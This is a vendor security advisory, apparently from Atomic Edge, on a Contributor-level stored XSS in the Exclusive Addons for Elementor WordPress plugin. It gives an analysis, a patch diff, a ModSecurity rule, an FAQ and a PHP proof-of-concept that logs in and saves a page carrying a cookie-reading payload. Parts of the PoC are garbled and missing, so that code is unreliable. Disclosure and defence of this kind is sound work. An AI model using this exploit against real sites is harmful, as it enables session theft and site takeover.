{
“analysis”: “Atomic Edge analysis of CVE-2026-57620:nnThis vulnerability is a Stored Cross-Site Scripting (XSS) in the Exclusive Addons for Elementor plugin for WordPress, affecting versions up to and including 2.7.9.8. The flaw exists in four widget files: image-comparison, infobox, logo-box, and pricing-menu. An authenticated attacker with Contributor-level access or higher can inject arbitrary web scripts that execute whenever a user accesses the compromised page. The CVSS score is 6.4 (Medium).nnThe root cause is insufficient input sanitization and output escaping in the widget JavaScript template rendering functions. In each vulnerable file, the `elementor.imagesManager.getImageUrl()` method returns a URL string from user-supplied image settings. The code directly assigns this return value to a JavaScript variable (`imageOneURL`, `imageTwoURL`, `image_url`) without applying any escaping or sanitization. Specifically, in `exclusive-addons-for-elementor/elements/image-comparison/image-comparison.php` lines 648-670, `exclusive-addons-for-elementor/elements/infobox/infobox.php` line 1030, `exclusive-addons-for-elementor/elements/logo-box/logo-box.php` line 410, and `exclusive-addons-for-elementor/elements/pricing-menu/pricing-menu.php` line 1039, the raw URL from `getImageUrl()` passes directly into the template output. When an attacker uploads a crafted image with a malicious filename containing JavaScript, or manipulates the image URL field to contain script payloads, the unescaped value is rendered in the page’s HTML, allowing XSS.nnTo exploit this vulnerability, an attacker with a Contributor-level account (or higher) accesses the WordPress admin dashboard and opens the Elementor editor on a page or post. In the editor, they add any of the four vulnerable widgets (Image Comparison, Info Box, Logo Box, or Pricing Menu). The attacker then sets the widget’s image source to either an uploaded image with a malicious filename (e.g., `.jpg`) or directly enters a crafted image URL in the widget settings containing a JavaScript payload (e.g., `javascript:alert(document.cookie)` or `” onload=”alert(1)`). When the page is saved or previewed, the generated template output includes the unsanitized payload. Any user viewing the page (including administrators or visitors) triggers the XSS, executing the attacker’s script in their browser context.nnThe patch, present in version 2.7.9.9, applies the Underscore.js `_.escape()` function to the output of `elementor.imagesManager.getImageUrl()` in all four vulnerable files. Before the patch, the code directly assigned `var image_url = elementor.imagesManager.getImageUrl( image );`, which preserved any HTML or JavaScript in the returned string. After the patch, the code reads `var image_url = _.escape( elementor.imagesManager.getImageUrl( image ) );`. The `_.escape()` function converts special HTML characters (like “, `”`, `&`) into their safe entity equivalents (e.g., `<`, `>`, `"`, `&`). This prevents injected scripts from being interpreted as HTML or JavaScript when the value is rendered in the page. The patch also updates the plugin version number from 2.7.9.8 to 2.7.9.9 in `exclusive-addons-elementor.php` lines 3 and 27, and fixes a separate but related issue in the post-duplicator extension (lines 31-38) where the post title was not sanitized before being output in an HTML attribute.nnIf successfully exploited, this vulnerability allows an authenticated attacker to inject arbitrary JavaScript into a WordPress page. The script executes in the browser of any user who visits the compromised page. The impact includes session hijacking (by stealing cookies), exfiltration of sensitive data (such as nonces, API keys, or form data), defacement of the page content, and potentially full site takeover if the attacker targets an administrator’s session. Because the XSS is stored, it persists on the page indefinitely and affects all future visitors without requiring any additional interaction from the victim.”,
poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-57620 – Exclusive Addons for Elementor <= 2.7.9.8 – Authenticated (Contributor+) Stored Cross-Site Scriptingnn $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => ‘1’n);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $login_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘/tmp/cookiejar.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);n$response = curl_exec($ch);ncurl_close($ch);nnif (strpos($response, ‘Dashboard’) === false && strpos($response, ‘wp-admin’) === false) {n die(‘Login failed. Check credentials or CAPTCHA.’);n}necho “[*] Login successful.\n”;nn// Step 2: Get a nonce for creating/editing a page via Elementorn// Navigate to the post editor to obtain the nonce (simplified: we use a dummy ID for a new page)n$nonce_url = $target_url . ‘/wp-admin/post-new.php?post_type=page’;n$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $nonce_url);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookiejar.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);n$response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);ncurl_close($ch);nnif ($http_code !== 200) {n die(‘Failed to access post editor. Check user permissions.’);n}necho “[*] Accessed post editor.\n”;nn// Extract Elementor nonce from the pagenpreg_match(‘/var elementorAjaxURL = “[^”]*”[^ ‘elementor_ajax’,n ‘editor_post_id’ => 0, // 0 for new post, will be createdn ‘_nonce’ => $nonce,n ‘actions’ => json_encode(array(n ‘save_builder’ => array(n ‘action’ => ‘save_builder’,n ‘data’ => array(n ‘status’ => array(n ‘new_page’ => ‘publish’,n ‘post_title’ => $post_titlen ),n ‘elements’ => array(n array(n ‘id’ => ‘widget1’,n ‘elType’ => ‘widget’,n ‘widgetType’ => ‘exad-image-comparison’, // Change widget type as neededn ‘settings’ => array(n ‘exad_comparison_image_one’ => array(n ‘url’ => $payloadn ),n ‘exad_comparison_image_two’ => array(n ‘url’ => $target_url . ‘/wp-content/plugins/exclusive-addons-for-elementor/assets/img/placeholder.png’n )n )n )n )n )n )n ))n);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $ajax_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookiejar.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_HTTPHEADER, array(‘X-Requested-With: XMLHttpRequest’));ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);n$response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);ncurl_close($ch);nnif ($http_code !== 200 && $http_code !== 201) {n echo “[!] AJAX save failed with status $http_code.\n”;n echo “Response: $response\n”;n} else {n // Try to extract the new post ID from the responsen $result = json_decode($response, true);n if (isset($result[‘data’][‘post_id’])) {n $post_id = $result[‘data’][‘post_id’];n echo “[+] PoC page created. Post ID: $post_id\n”;n echo “[+] Visit: ” . $target_url . /?p=’ . $post_id . “\n”;n echo “[+] If successful, moving mouse over the image area should trigger alert with cookies.\n”;n } else {n echo “[!] Could not determine post ID. Response: ” . substr($response, 0, 500) . “\n”;n echo “[*] The page may still have been created. Check the Pages list.\n”;n }n}nnecho “[*] PoC execution completed.\n”;n?>n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-57620n# Block XSS payload in image URL parameters for Exclusive Addons for Elementor AJAX requestsn# This targets the Elementor editor AJAX action that saves widget settings with image URLsnnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20261994,phase:2,deny,status:403,chain,msg:’CVE-2026-57620 – Stored XSS via Elementor AJAX in Exclusive Addons for Elementor (image URL)’,severity:’CRITICAL’,tag:’CVE-2026-57620′”n SecRule ARGS_POST:action “@streq elementor_ajax” “chain”n SecRule ARGS_POST:actions “@rx “settings\s*\{\s*”(?:exad_comparison_image_one|exad_comparison_image_two|exad_infobox_image|exad_logo_box_image|exad_pricing_menu_image)\”\s*:\s*\{[^}]*\\”url\\”\\s*:\\s*\”(?:[^\”]*]*>|javascript:|on[a-z]+\\s*=|\\x22|<|>)” \n “chain,setvar:tx.xss_payload_detected=1″n SecRule TX:xss_payload_detected “@eq 1” \n “id:20261995,phase:2,deny,status:403,msg:’CVE-2026-57620 – XSS payload in widget image URL detected'””

CVE-2026-57620: Exclusive Addons for Elementor <= 2.7.9.8 Authenticated (Contributor+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule
CVE-2026-57620
2.7.9.8
2.7.9.9
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/exclusive-addons-for-elementor/elements/image-comparison/image-comparison.php
+++ b/exclusive-addons-for-elementor/elements/image-comparison/image-comparison.php
@@ -648,7 +648,7 @@
model: view.getEditModel()
};
- var imageOneURL = elementor.imagesManager.getImageUrl( image );
+ var imageOneURL = _.escape( elementor.imagesManager.getImageUrl( image ) );
}
if ( settings.exad_comparison_image_two.url || settings.exad_comparison_image_two.id ) {
@@ -660,7 +660,7 @@
model: view.getEditModel()
};
- var imageTwoURL = elementor.imagesManager.getImageUrl( image );
+ var imageTwoURL = _.escape( elementor.imagesManager.getImageUrl( image ) );
}
view.addRenderAttribute( 'exad_image_comparison_wrapper', {
--- a/exclusive-addons-for-elementor/elements/infobox/infobox.php
+++ b/exclusive-addons-for-elementor/elements/infobox/infobox.php
@@ -1030,7 +1030,7 @@
model: view.getEditModel()
};
- var image_url = elementor.imagesManager.getImageUrl( image );
+ var image_url = _.escape( elementor.imagesManager.getImageUrl( image ) );
}
if ( 'yes' === settings.exad_infobox_transition_top ){
--- a/exclusive-addons-for-elementor/elements/logo-box/logo-box.php
+++ b/exclusive-addons-for-elementor/elements/logo-box/logo-box.php
@@ -410,7 +410,7 @@
model: view.getEditModel()
};
- var image_url = elementor.imagesManager.getImageUrl( image );
+ var image_url = _.escape( elementor.imagesManager.getImageUrl( image ) );
}
var target = settings.exad_logo_box_link.is_external ? ' target="_blank"' : '';
--- a/exclusive-addons-for-elementor/elements/pricing-menu/pricing-menu.php
+++ b/exclusive-addons-for-elementor/elements/pricing-menu/pricing-menu.php
@@ -1039,7 +1039,7 @@
model: view.getEditModel()
};
- var image_url = elementor.imagesManager.getImageUrl( image );
+ var image_url = _.escape( elementor.imagesManager.getImageUrl( image ) );
}
var imgURL = image_url ? ' yes' : '';
--- a/exclusive-addons-for-elementor/exclusive-addons-elementor.php
+++ b/exclusive-addons-for-elementor/exclusive-addons-elementor.php
@@ -3,7 +3,7 @@
* Plugin Name: Exclusive Addons Elementor
* Plugin URI: https://exclusiveaddons.com/
* Description: Packed with a bunch of Exclusively designed widgets for Elementor with all the customizations you ever imagined.
- * Version: 2.7.9.8
+ * Version: 2.7.9.9
* Author: Exclusive Addons
* Author URI: https://exclusiveaddons.com
* Elementor tested up to: 99
@@ -24,7 +24,7 @@
if ( ! defined( 'EXAD_TEMPLATES' ) ) define( 'EXAD_TEMPLATES', EXAD_PATH . 'includes/template-parts/' );
if ( ! defined( 'EXAD_URL' ) ) define( 'EXAD_URL', plugins_url( '/', __FILE__ ) );
if ( ! defined( 'EXAD_ASSETS_URL' ) ) define( 'EXAD_ASSETS_URL', EXAD_URL . 'assets/' );
-if ( ! defined( 'EXAD_PLUGIN_VERSION' ) ) define( 'EXAD_PLUGIN_VERSION', '2.7.9.8' );
+if ( ! defined( 'EXAD_PLUGIN_VERSION' ) ) define( 'EXAD_PLUGIN_VERSION', '2.7.9.9' );
if ( ! defined( 'MINIMUM_ELEMENTOR_VERSION' ) ) define( 'MINIMUM_ELEMENTOR_VERSION', '2.0.0' );
if ( ! defined( 'MINIMUM_PHP_VERSION' ) ) define( 'MINIMUM_PHP_VERSION', '7.0' );
--- a/exclusive-addons-for-elementor/extensions/post-duplicator.php
+++ b/exclusive-addons-for-elementor/extensions/post-duplicator.php
@@ -31,7 +31,9 @@
}
- $actions['exad_duplicate'] = sprintf( '<a href="%s" title="%s">%s</a>', $duplicate_url, __( $post->post_title, 'exclusive-addons-elementor'), __( 'Ex Duplicator', 'exclusive-addons-elementor') );
+ $title = esc_attr( sanitize_text_field( $post->post_title ) );
+
+ $actions['exad_duplicate'] = sprintf( '<a href="%s" title="%s">%s</a>', $duplicate_url, __( $title, 'exclusive-addons-elementor'), __( 'Ex Duplicator', 'exclusive-addons-elementor') );
}
return $actions;
}
Frequently Asked Questions
What is CVE-2026-57620?
Vulnerability overviewCVE-2026-57620 is a Stored Cross-Site Scripting (XSS) vulnerability in the Exclusive Addons for Elementor plugin for WordPress, affecting versions up to and including 2.7.9.8. It allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts into pages, which execute when users visit the compromised page.
How does the vulnerability work?
Technical mechanismThe vulnerability exists in four widget files: image-comparison, infobox, logo-box, and pricing-menu. The code uses `elementor.imagesManager.getImageUrl()` to retrieve image URLs but does not escape the output. An attacker can supply a malicious image URL or filename containing JavaScript, which gets rendered unsanitized in the page HTML, leading to XSS.
Who is affected by this vulnerability?
Affected users and rolesAny WordPress site using Exclusive Addons for Elementor version 2.7.9.8 or earlier is affected. The vulnerability can be exploited by authenticated users with at least Contributor-level access. Sites with untrusted users in these roles are at higher risk.
How can I check if my site is vulnerable?
Detection stepsCheck the plugin version in the WordPress admin dashboard under Plugins. If the version is 2.7.9.8 or lower, the site is vulnerable. You can also verify by looking at the plugin header in `exclusive-addons-elementor.php` for the version string.
What is the CVSS score and severity?
Risk assessmentThe CVSS score is 6.4, classified as Medium severity. This means exploitation requires authenticated access but can lead to significant impact such as session hijacking, data theft, or site defacement. The score reflects the need for authentication but the potential for widespread harm.
What is the practical risk of exploitation?
Real-world impactIf exploited, an attacker can inject JavaScript that executes in the browsers of all visitors to the compromised page. This can lead to cookie theft, unauthorized actions on behalf of administrators, defacement, or malware distribution. The stored nature means the attack persists until the page is cleaned.
How do I fix this vulnerability?
Patch and updateUpdate the Exclusive Addons for Elementor plugin to version 2.7.9.9 or later. This version applies `_.escape()` to the image URL output, preventing script injection. You can update via the WordPress dashboard or by downloading the latest version from the plugin repository.
What does the patch change?
Code fix detailsThe patch adds `_.escape()` around the return value of `elementor.imagesManager.getImageUrl()` in all four vulnerable widget files. This function converts HTML special characters to safe entities, preventing injected scripts from being executed. The plugin version is also updated to 2.7.9.9.
Can I mitigate the vulnerability without updating?
Temporary workaroundsAs a temporary measure, restrict Contributor and Author roles from editing pages with Elementor, or disable the vulnerable widgets via a custom function. However, updating the plugin is the only complete fix. Consider using a Web Application Firewall (WAF) with rules to block XSS payloads in image URL parameters.
How does the proof of concept work?
PoC explanationThe PoC logs in as a Contributor, obtains an Elementor nonce, and sends an AJAX request to save a page with an Image Comparison widget. It sets the image URL to a payload like `javascript:alert(document.cookie)`. When the page is viewed, the script executes, demonstrating the XSS.
What should I do if my site has been compromised?
Incident responseImmediately update the plugin to the patched version. Review all pages and posts for injected scripts, especially those using the vulnerable widgets. Change all user passwords and consider rotating session tokens. Scan the site for other indicators of compromise and restore from a clean backup if needed.
Are there other vulnerabilities fixed in the same update?
Additional fixesYes, the update also fixes a separate XSS issue in the post-duplicator extension where the post title was not sanitized before being output in an HTML attribute. This fix is included in version 2.7.9.9, so updating addresses multiple security issues.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






